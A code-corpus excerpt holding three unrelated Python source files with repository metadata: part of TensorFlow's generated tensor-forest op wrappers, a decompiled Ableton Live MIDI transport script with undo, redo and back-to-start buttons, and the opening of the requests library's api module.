_result = None return _result _ops.RegisterShape("FertileStatsDeserialize")(None) @_dispatch.add_dispatch_list @tf_export('fertile_stats_is_initialized_op') def fertile_stats_is_initialized_op(stats_handle, name=None): r"""Checks whether a stats has been initialized. Args: stats_handle: A `Tensor` of type `resource`. name: A name for the operation (optional). Returns: A `Tensor` of type `bool`. """ _ctx = _context._context or _context.context() if _ctx is not None and _ctx._thread_local_data.is_eager: try: _result = _pywrap_tensorflow.TFE_Py_FastPathExecute( _ctx._context_handle, _ctx._thread_local_data.device_name, "FertileStatsIsInitializedOp", name, _ctx.post_execution_callbacks, stats_handle) return _result except _core._FallbackException: try: return fertile_stats_is_initialized_op_eager_fallback( stats_handle, name=name, ctx=_ctx) except _core._SymbolicException: pass # Add nodes to the TensorFlow graph. except (TypeError, ValueError): result = _dispatch.dispatch( fertile_stats_is_initialized_op, stats_handle=stats_handle, name=name) if result is not _dispatch.OpDispatcher.NOT_SUPPORTED: return result raise except _core._NotOkStatusException as e: if name is not None: message = e.message + " name: " + name else: message = e.message _six.raise_from(_core._status_to_exception(e.code, message), None) # Add nodes to the TensorFlow graph. try: _, _, _op = _op_def_lib._apply_op_helper( "FertileStatsIsInitializedOp", stats_handle=stats_handle, name=name) except (TypeError, ValueError): result = _dispatch.dispatch( fertile_stats_is_initialized_op, stats_handle=stats_handle, name=name) if result is not _dispatch.OpDispatcher.NOT_SUPPORTED: return result raise _result = _op.outputs[:] _inputs_flat = _op.inputs _attrs = None _execute.record_gradient( "FertileStatsIsInitializedOp", _inputs_flat, _attrs, _result, name) _result, = _result return _result def FertileStatsIsInitializedOp(stats_handle, name=None): return fertile_stats_is_initialized_op(stats_handle=stats_handle, name=name) FertileStatsIsInitializedOp.__doc__ = fertile_stats_is_initialized_op.__doc__ FertileStatsIsInitializedOp = _doc_controls.do_not_generate_docs(_kwarg_only(FertileStatsIsInitializedOp)) tf_export("raw_ops.FertileStatsIsInitializedOp")(FertileStatsIsInitializedOp) def fertile_stats_is_initialized_op_eager_fallback(stats_handle, name=None, ctx=None): r"""This is the slowpath function for Eager mode. This is for function fertile_stats_is_initialized_op """ _ctx = ctx if ctx else _context.context() stats_handle = _ops.convert_to_tensor(stats_handle, _dtypes.resource) _inputs_flat = [stats_handle] _attrs = None _result = _execute.execute(b"FertileStatsIsInitializedOp", 1, inputs=_inputs_flat, attrs=_attrs, ctx=_ctx, name=name) _execute.record_gradient( "FertileStatsIsInitializedOp", _inputs_flat, _attrs, _result, name) _result, = _result return _result _ops.RegisterShape("FertileStatsIsInitializedOp")(None) @_dispatch.add_dispatch_list @tf_export('fertile_stats_resource_handle_op') def fertile_stats_resource_handle_op(container="", shared_name="", name=None): r"""TODO: add doc. Args: container: An optional `string`. Defaults to `""`. shared_name: An optional `string`. Defaults to `""`. name: A name for the operation (optional). Returns: A `Tensor` of type `resource`. """ _ctx = _context._context or _context.context() if _ctx is not None and _ctx._thread_local_data.is_eager: try: _result = _pywrap_tensorflow.TFE_Py_FastPathExecute( _ctx._context_handle, _ctx._thread_local_data.device_name, "FertileStatsResourceHandleOp", name, _ctx.post_execution_callbacks, "container", container, "shared_name", shared_name) return _result except _core._FallbackException: try: return fertile_stats_resource_handle_op_eager_fallback( container=container, shared_name=shared_name, name=name, ctx=_ctx) except _core._SymbolicException: pass # Add nodes to the TensorFlow graph. except (TypeError, ValueError): result = _dispatch.dispatch( fertile_stats_resource_handle_op, container=container, shared_name=shared_name, name=name) if result is not _dispatch.OpDispatcher.NOT_SUPPORTED: return result raise except _core._NotOkStatusException as e: if name is not None: message = e.message + " name: " + name else: message = e.message _six.raise_from(_core._status_to_exception(e.code, message), None) # Add nodes to the TensorFlow graph. if container is None: container = "" container = _execute.make_str(container, "container") if shared_name is None: shared_name = "" shared_name = _execute.make_str(shared_name, "shared_name") try: _, _, _op = _op_def_lib._apply_op_helper( "FertileStatsResourceHandleOp", container=container, shared_name=shared_name, name=name) except (TypeError, ValueError): result = _dispatch.dispatch( fertile_stats_resource_handle_op, container=container, shared_name=shared_name, name=name) if result is not _dispatch.OpDispatcher.NOT_SUPPORTED: return result raise _result = _op.outputs[:] _inputs_flat = _op.inputs _attrs = ("container", _op.get_attr("container"), "shared_name", _op.get_attr("shared_name")) _execute.record_gradient( "FertileStatsResourceHandleOp", _inputs_flat, _attrs, _result, name) _result, = _result return _result def FertileStatsResourceHandleOp(container="", shared_name="", name=None): return fertile_stats_resource_handle_op(container=container, shared_name=shared_name, name=name) FertileStatsResourceHandleOp.__doc__ = fertile_stats_resource_handle_op.__doc__ FertileStatsResourceHandleOp = _doc_controls.do_not_generate_docs(_kwarg_only(FertileStatsResourceHandleOp)) tf_export("raw_ops.FertileStatsResourceHandleOp")(FertileStatsResourceHandleOp) def fertile_stats_resource_handle_op_eager_fallback(container="", shared_name="", name=None, ctx=None): r"""This is the slowpath function for Eager mode. This is for function fertile_stats_resource_handle_op """ _ctx = ctx if ctx else _context.context() if container is None: container = "" container = _execute.make_str(container, "container") if shared_name is None: shared_name = "" shared_name = _execute.make_str(shared_name, "shared_name") _inputs_flat = [] _attrs = ("container", container, "shared_name", shared_name) _result = _execute.execute(b"FertileStatsResourceHandleOp", 1, inputs=_inputs_flat, attrs=_attrs, ctx=_ctx, name=name) _execute.record_gradient( "FertileStatsResourceHandleOp", _inputs_flat, _attrs, _result, name) _result, = _result return _result _ops.RegisterShape("FertileStatsResourceHandleOp")(None) @_dispatch.add_dispatch_list @tf_export('fertile_stats_serialize') def fertile_stats_serialize(stats_handle, params, name=None): r"""Serializes the stats to a proto. Args: stats_handle: A `Tensor` of type `resource`. The handle to the stats. params: A `string`. A serialized TensorForestParams proto. name: A name for the operation (optional). Returns: A `Tensor` of type `string`. Serialized proto of the stats. """ _ctx = _context._context or _context.context() if _ctx is not None and _ctx._thread_local_data.is_eager: try: _result = _pywrap_tensorflow.TFE_Py_FastPathExecute( _ctx._context_handle, _ctx._thread_local_data.device_name, "FertileStatsSerialize", name, _ctx.post_execution_callbacks, stats_handle, "params", params) return _result except _core._FallbackException: try: return fertile_stats_serialize_eager_fallback( stats_handle, params=params, name=name, ctx=_ctx) except _core._SymbolicException: pass # Add nodes to the TensorFlow graph. except (TypeError, ValueError): result = _dispatch.dispatch( fertile_stats_serialize, stats_handle=stats_handle, params=params, name=name) if result is not _dispatch.OpDispatcher.NOT_SUPPORTED: return result raise except _core._NotOkStatusException as e: if name is not None: message = e.message + " name: " + name else: message = e.message _six.raise_from(_core._status_to_exception(e.code, message), None) # Add nodes to the TensorFlow graph. params = _execute.make_str(params, "params") try: _, _, _op = _op_def_lib._apply_op_helper( "FertileStatsSerialize", stats_handle=stats_handle, params=params, name=name) except (TypeError, ValueError): result = _dispatch.dispatch( fertile_stats_serialize, stats_handle=stats_handle, params=params, name=name) if result is not _dispatch.OpDispatcher.NOT_SUPPORTED: return result raise _result = _op.outputs[:] _inputs_flat = _op.inputs _attrs = ("params", _op.get_attr("params")) _execute.record_gradient( "FertileStatsSerialize", _inputs_flat, _attrs, _result, name) _result, = _result return _result def FertileStatsSerialize(stats_handle, params, name=None): return fertile_stats_serialize(stats_handle=stats_handle, params=params, name=name) FertileStatsSerialize.__doc__ = fertile_stats_serialize.__doc__ FertileStatsSerialize = _doc_controls.do_not_generate_docs(_kwarg_only(FertileStatsSerialize)) tf_export("raw_ops.FertileStatsSerialize")(FertileStatsSerialize) def fertile_stats_serialize_eager_fallback(stats_handle, params, name=None, ctx=None): r"""This is the slowpath function for Eager mode. This is for function fertile_stats_serialize """ _ctx = ctx if ctx else _context.context() params = _execute.make_str(params, "params") stats_handle = _ops.convert_to_tensor(stats_handle, _dtypes.resource) _inputs_flat = [stats_handle] _attrs = ("params", params) _result = _execute.execute(b"FertileStatsSerialize", 1, inputs=_inputs_flat, attrs=_attrs, ctx=_ctx, name=name) _execute.record_gradient( "FertileStatsSerialize", _inputs_flat, _attrs, _result, name) _result, = _result return _result _ops.RegisterShape("FertileStatsSerialize")(None) @_dispatch.add_dispatch_list @tf_export('finalize_tree') def finalize_tree(tree_handle, stats_handle, params, name=None): r"""Puts the Leaf models inside the tree into their final form. If drop_final_class is true, the per-class probability prediction of the last class is not stored in the leaf models. Args: tree_handle: A `Tensor` of type `resource`. The handle to the tree. stats_handle: A `Tensor` of type `resource`. The handle to the stats. params: A `string`. A serialized TensorForestParams proto. name: A name for the operation (optional). Returns: The created Operation. """ _ctx = _context._context or _context.context() if _ctx is not None and _ctx._thread_local_data.is_eager: try: _result = _pywrap_tensorflow.TFE_Py_FastPathExecute( _ctx._context_handle, _ctx._thread_local_data.device_name, "FinalizeTree", name, _ctx.post_execution_callbacks, tree_handle, stats_handle, "params", params) return _result except _core._FallbackException: try: return finalize_tree_eager_fallback( tree_handle, stats_handle, params=params, name=name, ctx=_ctx) except _core._SymbolicException: pass # Add nodes to the TensorFlow graph. except (TypeError, ValueError): result = _dispatch.dispatch( finalize_tree, tree_handle=tree_handle, stats_handle=stats_handle, params=params, name=name) if result is not _dispatch.OpDispatcher.NOT_SUPPORTED: return result raise except _core._NotOkStatusException as e: if name is not None: message = e.message + " name: " + name else: message = e.message _six.raise_from(_core._status_to_exception(e.code, message), None) # Add nodes to the TensorFlow graph. params = _execute.make_str(params, "params") try: _, _, _op = _op_def_lib._apply_op_helper( "FinalizeTree", tree_handle=tree_handle, stats_handle=stats_handle, params=params, name=name) except (TypeError, ValueError): result = _dispatch.dispatch( finalize_tree, tree_handle=tree_handle, stats_handle=stats_handle, params=params, name=name) if result is not _dispatch.OpDispatcher.NOT_SUPPORTED: return result raise return _op _result = None return _result def FinalizeTree(tree_handle, stats_handle, params, name=None): return finalize_tree(tree_handle=tree_handle, stats_handle=stats_handle, params=params, name=name) FinalizeTree.__doc__ = finalize_tree.__doc__ FinalizeTree = _doc_controls.do_not_generate_docs(_kwarg_only(FinalizeTree)) tf_export("raw_ops.FinalizeTree")(FinalizeTree) def finalize_tree_eager_fallback(tree_handle, stats_handle, params, name=None, ctx=None): r"""This is the slowpath function for Eager mode. This is for function finalize_tree """ _ctx = ctx if ctx else _context.context() params = _execute.make_str(params, "params") tree_handle = _ops.convert_to_tensor(tree_handle, _dtypes.resource) stats_handle = _ops.convert_to_tensor(stats_handle, _dtypes.resource) _inputs_flat = [tree_handle, stats_handle] _attrs = ("params", params) _result = _execute.execute(b"FinalizeTree", 0, inputs=_inputs_flat, attrs=_attrs, ctx=_ctx, name=name) _result = None return _result _ops.RegisterShape("FinalizeTree")(None) @_dispatch.add_dispatch_list @tf_export('grow_tree_v4') def grow_tree_v4(tree_handle, stats_handle, finished_nodes, params, name=None): r"""Grows the tree for finished nodes and allocates waiting nodes. Args: tree_handle: A `Tensor` of type `resource`. The handle to the tree. stats_handle: A `Tensor` of type `resource`. The handle to the stats. finished_nodes: A `Tensor` of type `int32`. A 1-d Tensor of finished node ids from ProcessInput. params: A `string`. A serialized TensorForestParams proto. name: A name for the operation (optional). Returns: The created Operation. """ _ctx = _context._context or _context.context() if _ctx is not None and _ctx._thread_local_data.is_eager: try: _result = _pywrap_tensorflow.TFE_Py_FastPathExecute( _ctx._context_handle, _ctx._thread_local_data.device_name, "GrowTreeV4", name, _ctx.post_execution_callbacks, tree_handle, stats_handle, finished_nodes, "params", params) return _result except _core._FallbackException: try: return grow_tree_v4_eager_fallback( tree_handle, stats_handle, finished_nodes, params=params, name=name, ctx=_ctx) except _core._SymbolicException: pass # Add nodes to the TensorFlow graph. except (TypeError, ValueError): result = _dispatch.dispatch( grow_tree_v4, tree_handle=tree_handle, stats_handle=stats_handle, finished_nodes=finished_nodes, params=params, name=name) if result is not _dispatch.OpDispatcher.NOT_SUPPORTED: return result raise except _core._NotOkStatusException as e: if name is not None: message = e.message + " name: " + name else: message = e.message _six.raise_from(_core._status_to_exception(e.code, message), None) # Add nodes to the TensorFlow graph. params = _execute.make_str(params, "params") try: _, _, _op = _op_def_lib._apply_op_helper( "GrowTreeV4", tree_handle=tree_handle, stats_handle=stats_handle, finished_nodes=finished_nodes, params=params, name=name) except (TypeError, ValueError): result = _dispatch.dispatch( grow_tree_v4, tree_handle=tree_handle, stats_handle=stats_handle, finished_nodes=finished_nodes, params=params, name=name) if result is not _dispatch.OpDispatcher.NOT_SUPPORTED: return result raise return _op _result = None return _result def GrowTreeV4(tree_handle, stats_handle, finished_nodes, params, name=None): return grow_tree_v4(tree_handle=tree_handle, stats_handle=stats_handle, finished_nodes=finished_nodes, params=params, name=name) GrowTreeV4.__doc__ = grow_tree_v4.__doc__ GrowTreeV4 = _doc_controls.do_not_generate_docs(_kwarg_only(GrowTreeV4)) tf_export("raw_ops.GrowTreeV4")(GrowTreeV4) def grow_tree_v4_eager_fallback(tree_handle, stats_handle, finished_nodes, params, name=None, ctx=None): r"""This is the slowpath function for Eager mode. This is for function grow_tree_v4 """ _ctx = ctx if ctx else _context.context() params = _execute.make_str(params, "params") tree_handle = _ops.convert_to_tensor(tree_handle, _dtypes.resource) stats_handle = _ops.convert_to_tensor(stats_handle, _dtypes.resource) finished_nodes = _ops.convert_to_tensor(finished_nodes, _dtypes.int32) _inputs_flat = [tree_handle, stats_handle, finished_nodes] _attrs = ("params", params) _result = _execute.execute(b"GrowTreeV4", 0, inputs=_inputs_flat, attrs=_attrs, ctx=_ctx, name=name) _result = None return _result _ops.RegisterShape("GrowTreeV4")(None) @_dispatch.add_dispatch_list @tf_export('process_input_v4') def process_input_v4(tree_handle, stats_handle, input_data, sparse_input_indices, sparse_input_values, sparse_input_shape, input_labels, input_weights, leaf_ids, random_seed, input_spec, params, name=None): r"""Add labels to stats after traversing the tree for each example. Outputs node ids that are finished. Args: tree_handle: A `Tensor` of type `resource`. The handle to the tree. stats_handle: A `Tensor` of type `resource`. The handle to the stats. input_data: A `Tensor` of type `float32`. The training batch's features as a 2-d tensor; `input_data[i][j]` gives the j-th feature of the i-th input. sparse_input_indices: A `Tensor` of type `int64`. The indices tensor from the SparseTensor input. sparse_input_values: A `Tensor` of type `float32`. The values tensor from the SparseTensor input. sparse_input_shape: A `Tensor` of type `int64`. The shape tensor from the SparseTensor input. input_labels: A `Tensor` of type `float32`. The training batch's labels as a 1 or 2-d tensor. 'input_labels[i][j]' gives the j-th label/target for the i-th input. input_weights: A `Tensor` of type `float32`. The training batch's weights as a 1-d tensor. 'input_weights[i]' gives the weight for the i-th input. leaf_ids: A `Tensor` of type `int32`. `leaf_ids[i]` is the leaf id for input i. random_seed: An `int`. input_spec: A `string`. params: A `string`. A serialized TensorForestParams proto. name: A name for the operation (optional). Returns: A `Tensor` of type `int32`. A 1-d tensor of node ids that have finished and are ready to grow. """ _ctx = _context._context or _context.context() if _ctx is not None and _ctx._thread_local_data.is_eager: try: _result = _pywrap_tensorflow.TFE_Py_FastPathExecute( _ctx._context_handle, _ctx._thread_local_data.device_name, "ProcessInputV4", name, _ctx.post_execution_callbacks, tree_handle, stats_handle, input_data, sparse_input_indices, sparse_input_values, sparse_input_shape, input_labels, input_weights, leaf_ids, "random_seed", random_seed, "input_spec", input_spec, "params", params) return _result except _core._FallbackException: try: return process_input_v4_eager_fallback( tree_handle, stats_handle, input_data, sparse_input_indices, sparse_input_values, sparse_input_shape, input_labels, input_weights, leaf_ids, random_seed=random_seed, input_spec=input_spec, params=params, name=name, ctx=_ctx) except _core._SymbolicException: pass # Add nodes to the TensorFlow graph. except (TypeError, ValueError): result = _dispatch.dispatch( process_input_v4, tree_handle=tree_handle, stats_handle=stats_handle, input_data=input_data, sparse_input_indices=sparse_input_indices, sparse_input_values=sparse_input_values, sparse_input_shape=sparse_input_shape, input_labels=input_labels, input_weights=input_weights, leaf_ids=leaf_ids, random_seed=random_seed, input_spec=input_spec, params=params, name=name) if result is not _dispatch.OpDispatcher.NOT_SUPPORTED: return result raise except _core._NotOkStatusException as e: if name is not None: message = e.message + " name: " + name else: message = e.message _six.raise_from(_core._status_to_exception(e.code, message), None) # Add nodes to the TensorFlow graph. random_seed = _execute.make_int(random_seed, "random_seed") input_spec = _execute.make_str(input_spec, "input_spec") params = _execute.make_str(params, "params") try: _, _, _op = _op_def_lib._apply_op_helper( "ProcessInputV4", tree_handle=tree_handle, stats_handle=stats_handle, input_data=input_data, sparse_input_indices=sparse_input_indices, sparse_input_values=sparse_input_values, sparse_input_shape=sparse_input_shape, input_labels=input_labels, input_weights=input_weights, leaf_ids=leaf_ids, random_seed=random_seed, input_spec=input_spec, params=params, name=name) except (TypeError, ValueError): result = _dispatch.dispatch( process_input_v4, tree_handle=tree_handle, stats_handle=stats_handle, input_data=input_data, sparse_input_indices=sparse_input_indices, sparse_input_values=sparse_input_values, sparse_input_shape=sparse_input_shape, input_labels=input_labels, input_weights=input_weights, leaf_ids=leaf_ids, random_seed=random_seed, input_spec=input_spec, params=params, name=name) if result is not _dispatch.OpDispatcher.NOT_SUPPORTED: return result raise _result = _op.outputs[:] _inputs_flat = _op.inputs _attrs = ("random_seed", _op.get_attr("random_seed"), "input_spec", _op.get_attr("input_spec"), "params", _op.get_attr("params")) _execute.record_gradient( "ProcessInputV4", _inputs_flat, _attrs, _result, name) _result, = _result return _result def ProcessInputV4(tree_handle, stats_handle, input_data, sparse_input_indices, sparse_input_values, sparse_input_shape, input_labels, input_weights, leaf_ids, random_seed, input_spec, params, name=None): return process_input_v4(tree_handle=tree_handle, stats_handle=stats_handle, input_data=input_data, sparse_input_indices=sparse_input_indices, sparse_input_values=sparse_input_values, sparse_input_shape=sparse_input_shape, input_labels=input_labels, input_weights=input_weights, leaf_ids=leaf_ids, random_seed=random_seed, input_spec=input_spec, params=params, name=name) ProcessInputV4.__doc__ = process_input_v4.__doc__ ProcessInputV4 = _doc_controls.do_not_generate_docs(_kwarg_only(ProcessInputV4)) tf_export("raw_ops.ProcessInputV4")(ProcessInputV4) def process_input_v4_eager_fallback(tree_handle, stats_handle, input_data, sparse_input_indices, sparse_input_values, sparse_input_shape, input_labels, input_weights, leaf_ids, random_seed, input_spec, params, name=None, ctx=None): r"""This is the slowpath function for Eager mode. This is for function process_input_v4 """ _ctx = ctx if ctx else _context.context() random_seed = _execute.make_int(random_seed, "random_seed") input_spec = _execute.make_str(input_spec, "input_spec") params = _execute.make_str(params, "params") tree_handle = _ops.convert_to_tensor(tree_handle, _dtypes.resource) stats_handle = _ops.convert_to_tensor(stats_handle, _dtypes.resource) input_data = _ops.convert_to_tensor(input_data, _dtypes.float32) sparse_input_indices = _ops.convert_to_tensor(sparse_input_indices, _dtypes.int64) sparse_input_values = _ops.convert_to_tensor(sparse_input_values, _dtypes.float32) sparse_input_shape = _ops.convert_to_tensor(sparse_input_shape, _dtypes.int64) input_labels = _ops.convert_to_tensor(input_labels, _dtypes.float32) input_weights = _ops.convert_to_tensor(input_weights, _dtypes.float32) leaf_ids = _ops.convert_to_tensor(leaf_ids, _dtypes.int32) _inputs_flat = [tree_handle, stats_handle, input_data, sparse_input_indices, sparse_input_values, sparse_input_shape, input_labels, input_weights, leaf_ids] _attrs = ("random_seed", random_seed, "input_spec", input_spec, "params", params) _result = _execute.execute(b"ProcessInputV4", 1, inputs=_inputs_flat, attrs=_attrs, ctx=_ctx, name=name) _execute.record_gradient( "ProcessInputV4", _inputs_flat, _attrs, _result, name) _result, = _result return _result _ops.RegisterShape("ProcessInputV4")(None) def _InitOpDefLibrary(op_list_proto_bytes): op_list = _op_def_pb2.OpList() op_list.ParseFromString(op_list_proto_bytes) _op_def_registry.register_op_list(op_list) op_def_lib = _op_def_library.OpDefLibrary() op_def_lib.add_op_list(op_list) return op_def_lib # op { # name: "CreateFertileStatsVariable" # input_arg { # name: "stats_handle" # type: DT_RESOURCE # } # input_arg { # name: "stats_config" # type: DT_STRING # } # attr { # name: "params" # type: "string" # } # is_stateful: true # } # op { # name: "FertileStatsDeserialize" # input_arg { # name: "stats_handle" # type: DT_RESOURCE # } # input_arg { # name: "stats_config" # type: DT_STRING # } # attr { # name: "params" # type: "string" # } # is_stateful: true # } # op { # name: "FertileStatsIsInitializedOp" # input_arg { # name: "stats_handle" # type: DT_RESOURCE # } # output_arg { # name: "is_initialized" # type: DT_BOOL # } # is_stateful: true # } # op { # name: "FertileStatsResourceHandleOp" # output_arg { # name: "resource" # type: DT_RESOURCE # } # attr { # name: "container" # type: "string" # default_value { # s: "" # } # } # attr { # name: "shared_name" # type: "string" # default_value { # s: "" # } # } # is_stateful: true # } # op { # name: "FertileStatsSerialize" # input_arg { # name: "stats_handle" # type: DT_RESOURCE # } # output_arg { # name: "stats_config" # type: DT_STRING # } # attr { # name: "params" # type: "string" # } # is_stateful: true # } # op { # name: "FinalizeTree" # input_arg { # name: "tree_handle" # type: DT_RESOURCE # } # input_arg { # name: "stats_handle" # type: DT_RESOURCE # } # attr { # name: "params" # type: "string" # } # is_stateful: true # } # op { # name: "GrowTreeV4" # input_arg { # name: "tree_handle" # type: DT_RESOURCE # } # input_arg { # name: "stats_handle" # type: DT_RESOURCE # } # input_arg { # name: "finished_nodes" # type: DT_INT32 # } # attr { # name: "params" # type: "string" # } # is_stateful: true # } # op { # name: "ProcessInputV4" # input_arg { # name: "tree_handle" # type: DT_RESOURCE # } # input_arg { # name: "stats_handle" # type: DT_RESOURCE # } # input_arg { # name: "input_data" # type: DT_FLOAT # } # input_arg { # name: "sparse_input_indices" # type: DT_INT64 # } # input_arg { # name: "sparse_input_values" # type: DT_FLOAT # } # input_arg { # name: "sparse_input_shape" # type: DT_INT64 # } # input_arg { # name: "input_labels" # type: DT_FLOAT # } # input_arg { # name: "input_weights" # type: DT_FLOAT # } # input_arg { # name: "leaf_ids" # type: DT_INT32 # } # output_arg { # name: "finished_nodes" # type: DT_INT32 # } # attr { # name: "random_seed" # type: "int" # } # attr { # name: "input_spec" # type: "string" # } # attr { # name: "params" # type: "string" # } # is_stateful: true # } _op_def_lib = _InitOpDefLibrary(b"\nU\n\032CreateFertileStatsVariable\022\020\n\014stats_handle\030\024\022\020\n\014stats_config\030\007\"\020\n\006params\022\006string\210\001\001\nR\n\027FertileStatsDeserialize\022\020\n\014stats_handle\030\024\022\020\n\014stats_config\030\007\"\020\n\006params\022\006string\210\001\001\nF\n\033FertileStatsIsInitializedOp\022\020\n\014stats_handle\030\024\032\022\n\016is_initialized\030\n\210\001\001\nc\n\034FertileStatsResourceHandleOp\032\014\n\010resource\030\024\"\027\n\tcontainer\022\006string\032\002\022\000\"\031\n\013shared_name\022\006string\032\002\022\000\210\001\001\nP\n\025FertileStatsSerialize\022\020\n\014stats_handle\030\024\032\020\n\014stats_config\030\007\"\020\n\006params\022\006string\210\001\001\nF\n\014FinalizeTree\022\017\n\013tree_handle\030\024\022\020\n\014stats_handle\030\024\"\020\n\006params\022\006string\210\001\001\nX\n\nGrowTreeV4\022\017\n\013tree_handle\030\024\022\020\n\014stats_handle\030\024\022\022\n\016finished_nodes\030\003\"\020\n\006params\022\006string\210\001\001\n\224\002\n\016ProcessInputV4\022\017\n\013tree_handle\030\024\022\020\n\014stats_handle\030\024\022\016\n\ninput_data\030\001\022\030\n\024sparse_input_indices\030\t\022\027\n\023sparse_input_values\030\001\022\026\n\022sparse_input_shape\030\t\022\020\n\014input_labels\030\001\022\021\n\rinput_weights\030\001\022\014\n\010leaf_ids\030\003\032\022\n\016finished_nodes\030\003\"\022\n\013random_seed\022\003int\"\024\n\ninput_spec\022\006string\"\020\n\006params\022\006string\210\001\001")
[ "36889203+antonevenepoel@users.noreply.github.com" ]
36889203+antonevenepoel@users.noreply.github.com
8d3efb954b41d4cdf01b57e400aab6217641e7ef
dd3b8bd6c9f6f1d9f207678b101eff93b032b0f0
/basis/AbletonLive10.1_MIDIRemoteScripts/OpenLabs/SpecialTransportComponent.py
9cd5ad4f3d6a0974af0291a4d3f3ded2741e6e44
[]
no_license
jhlax/les
62955f57c33299ebfc4fca8d0482b30ee97adfe7
d865478bf02778e509e61370174a450104d20a28
refs/heads/master
2023-08-17T17:24:44.297302
2019-12-15T08:13:29
2019-12-15T08:13:29
228,120,861
3
0
null
2023-08-03T16:40:44
2019-12-15T03:02:27
Python
UTF-8
Python
false
false
3,873
py
# uncompyle6 version 3.4.1 # Python bytecode 2.7 (62211) # Decompiled from: Python 2.7.16 (v2.7.16:413a49145e, Mar 2 2019, 14:32:10) # [GCC 4.2.1 Compatible Apple LLVM 6.0 (clang-600.0.57)] # Embedded file name: /Users/versonator/Jenkins/live/output/mac_64_static/Release/python-bundle/MIDI Remote Scripts/OpenLabs/SpecialTransportComponent.py # Compiled at: 2019-04-09 19:23:44 from __future__ import absolute_import, print_function, unicode_literals import Live from _Framework.TransportComponent import TransportComponent from _Framework.InputControlElement import * from _Framework.ButtonElement import ButtonElement from _Framework.EncoderElement import EncoderElement class SpecialTransportComponent(TransportComponent): u""" Transport component that takes buttons for Undo and Redo """ def __init__(self): TransportComponent.__init__(self) self._undo_button = None self._redo_button = None self._bts_button = None return def disconnect(self): TransportComponent.disconnect(self) if self._undo_button != None: self._undo_button.remove_value_listener(self._undo_value) self._undo_button = None if self._redo_button != None: self._redo_button.remove_value_listener(self._redo_value) self._redo_button = None if self._bts_button != None: self._bts_button.remove_value_listener(self._bts_value) self._bts_button = None return def set_undo_button(self, undo_button): assert isinstance(undo_button, (ButtonElement, type(None))) if undo_button != self._undo_button: if self._undo_button != None: self._undo_button.remove_value_listener(self._undo_value) self._undo_button = undo_button if self._undo_button != None: self._undo_button.add_value_listener(self._undo_value) self.update() return def set_redo_button(self, redo_button): assert isinstance(redo_button, (ButtonElement, type(None))) if redo_button != self._redo_button: if self._redo_button != None: self._redo_button.remove_value_listener(self._redo_value) self._redo_button = redo_button if self._redo_button != None: self._redo_button.add_value_listener(self._redo_value) self.update() return def set_bts_button(self, bts_button): assert isinstance(bts_button, (ButtonElement, type(None))) if bts_button != self._bts_button: if self._bts_button != None: self._bts_button.remove_value_listener(self._bts_value) self._bts_button = bts_button if self._bts_button != None: self._bts_button.add_value_listener(self._bts_value) self.update() return def _undo_value(self, value): if not self._undo_button != None: raise AssertionError assert value in range(128) if self.is_enabled() and (value != 0 or not self._undo_button.is_momentary()): if self.song().can_undo: self.song().undo() return def _redo_value(self, value): if not self._redo_button != None: raise AssertionError assert value in range(128) if self.is_enabled() and (value != 0 or not self._redo_button.is_momentary()): if self.song().can_redo: self.song().redo() return def _bts_value(self, value): if not self._bts_button != None: raise AssertionError assert value in range(128) if self.is_enabled() and (value != 0 or not self._bts_button.is_momentary()): self.song().current_song_time = 0.0 return
[ "jharrington@transcendbg.com" ]
jharrington@transcendbg.com
949191d90fda07a28149027d4d0724a6f9933dad
9e549ee54faa8b037f90eac8ecb36f853e460e5e
/venv/lib/python3.6/site-packages/requests/api.py
de38136491407780126771413bdb604e269beb90
[ "MIT" ]
permissive
aitoehigie/britecore_flask
e8df68e71dd0eac980a7de8c0f20b5a5a16979fe
eef1873dbe6b2cc21f770bc6dec783007ae4493b
refs/heads/master
2022-12-09T22:07:45.930238
2019-05-15T04:10:37
2019-05-15T04:10:37
177,354,667
0
0
MIT
2022-12-08T04:54:09
2019-03-24T00:38:20
Python
UTF-8
Python
false
false
6,253
py
# -*- coding: utf-8 -*- """ requests.api ~~~~~~~~~~~~ This module implements the Requests API. :copyright: (c) 2012 by Kenneth Reitz. :license: Apache2, see LICENSE for more details. """ from . import sessions def request(method, url, **kwargs): """Constructs and sends a :class:`Request <Request>`. :param method: method for the new :class:`Request` object. :param url: URL for the new :class:`Request` object. :param params: (optional) Dictionary, list of tuples or bytes to send in the body of the :class:`Request`. :param data: (optional) Dictionary, list of tuples, bytes, or file-like object to send in the body of the :class:`Request`. :param json: (optional) A JSON serializable Python object to send in the body of the :class:`Request`. :param headers: (optional) Dictionary of HTTP Headers to send with the :class:`Request`. :param cookies: (optional) Dict or CookieJar object to send with the :class:`Request`. :param files: (optional) Dictionary of ``'name': file-like-objects`` (or ``{'name': file-tuple}``) for multipart encoding upload. ``file-tuple`` can be a 2-tuple ``('filename', fileobj)``, 3-tuple ``('filename', fileobj, 'content_type')`` or a 4-tuple ``('filename', fileobj, 'content_type', custom_headers)``, where ``'content-type'`` is a string defining the content type of the given file and ``custom_headers`` a dict-like object containing additional headers to add for the file. :param auth: (optional) Auth tuple to enable Basic/Digest/Custom HTTP Auth. :param timeout: (optional) How many seconds to wait for the server to send data before giving up, as a float, or a :ref:`(connect timeout, read timeout) <timeouts>` tuple. :type timeout: float or tuple :param allow_redirects: (optional) Boolean. Enable/disable GET/OPTIONS/POST/PUT/PATCH/DELETE/HEAD redirection. Defaults to ``True``. :type allow_redirects: bool :param proxies: (optional) Dictionary mapping protocol to the URL of the proxy. :param verify: (optional) Either a boolean, in which case it controls whether we verify the server's TLS certificate, or a string, in which case it must be a path to a CA bundle to use. Defaults to ``True``. :param stream: (optional) if ``False``, the response content will be immediately downloaded. :param cert: (optional) if String, path to ssl client cert file (.pem). If Tuple, ('cert', 'key') pair. :return: :class:`Response <Response>` object :rtype: requests.Response Usage:: >>> import requests >>> req = requests.request('GET', 'https://httpbin.org/get') <Response [200]> """ # By using the 'with' statement we are sure the session is closed, thus we # avoid leaving sockets open which can trigger a ResourceWarning in some # cases, and look like a memory leak in others. with sessions.Session() as session: return session.request(method=method, url=url, **kwargs) def get(url, params=None, **kwargs): r"""Sends a GET request. :param url: URL for the new :class:`Request` object. :param params: (optional) Dictionary, list of tuples or bytes to send in the body of the :class:`Request`. :param \*\*kwargs: Optional arguments that ``request`` takes. :return: :class:`Response <Response>` object :rtype: requests.Response """ kwargs.setdefault("allow_redirects", True) return request("get", url, params=params, **kwargs) def options(url, **kwargs): r"""Sends an OPTIONS request. :param url: URL for the new :class:`Request` object. :param \*\*kwargs: Optional arguments that ``request`` takes. :return: :class:`Response <Response>` object :rtype: requests.Response """ 